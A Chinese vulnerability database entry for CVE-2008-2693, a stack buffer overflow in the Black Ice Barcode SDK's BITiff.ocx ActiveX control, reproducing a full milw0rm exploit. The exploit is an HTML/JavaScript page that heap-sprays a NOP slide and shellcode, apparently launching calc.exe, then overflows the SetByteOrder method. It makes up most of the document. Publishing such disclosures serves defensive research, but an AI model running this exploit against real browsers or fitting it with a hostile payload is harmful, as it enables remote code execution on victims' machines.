Black_ice Barcode_sdk BITiff.ocx BITIFF.BITiffCtrl.1 ActiveX 缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115358 漏洞类型 缓冲区溢出
发布时间 2008-06-05 更新时间 2008-06-13
CVE编号 CVE-2008-2693 CNNVD-ID CNNVD-200806-195
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/5746
https://www.securityfocus.com/bid/83477
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200806-195
|漏洞详情
BlackIceBarcodeSDK5.01版本中的BITiff.ocx10.9.3.0版本里的BITIFF.BITiffCtrl.1ActiveX控件存在栈缓冲区溢出漏洞。远程攻击者可以借助对SetByteOrder方式的长的第一个自变量,执行任意代码。
|漏洞EXP
----------------------------------------------------------------------------
 Black Ice Software Inc Barcode SDK (BITiff.ocx) Remote Buffer Overflow
 url: http://www.blackice.com

 File : BITiff.ocx
 Ver. : 10.9.3.0
 CLSID: {2324B5B7-D3EF-464C-BB35-06EFF8F11EB3}

 Mark.: RegKey Safe for Script: True
        RegKey Safe for Init: True
        Implements IObjectSafety: False

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Windows XP Professional SP3 fully patched, with Internet Explorer 7
 Windows 2k Professional SP4 fully patched, with Internet Explorer 6

 In memory of rgod
-----------------------------------------------------------------------------
<object id=boom classid="clsid:2324B5B7-D3EF-464C-BB35-06EFF8F11EB3"></object>

<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">

<script>
 var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                           "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                           "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                           "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                           "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                           "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                           "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                           "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                           "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                           "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                           "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                           "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                           "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                           "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                           "%u652E%u6578%u9000");

 var spraySlide = unescape("%u9090%u9090");
 var heapSprayToAddress = 0x0c0c0c0c;

  function tryMe()
   {
    var size_buff = 1200;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<size_buff) x += x;
    x = x.substring(0,size_buff);

    boom.SetByteOrder(x, 1);
   }
    
  function getSpraySlide(spraySlide, spraySlideSize)
   {
    while (spraySlide.length*2<spraySlideSize)
     {
      spraySlide += spraySlide;
     }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return (spraySlide);
   }

 var heapBlockSize = 0x100000;
 var SizeOfHeapDataMoreover = 0x5;
 var payLoadSize = (shellcode.length * 2);

 var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
 var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

 var memory = new Array();
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);

 for (i=0;i<heapBlocks;i++)
  {
    memory[i] = spraySlide +  shellcode;
  }
</script>

# milw0rm.com [2008-06-05]
|受影响的产品
Black Ice Barcode Sdk 5.01
|参考资料

来源:XF
名称:barcode-bitiff-bo(42897)
链接:http://xforce.iss.net/xforce/xfdb/42897
来源:MILW0RM
名称:5747
链接:http://www.milw0rm.com/exploits/5747
来源:MILW0RM
名称:5746
链接:http://www.milw0rm.com/exploits/5746
来源:SECUNIA
名称:30548
链接:http://secunia.com/advisories/30548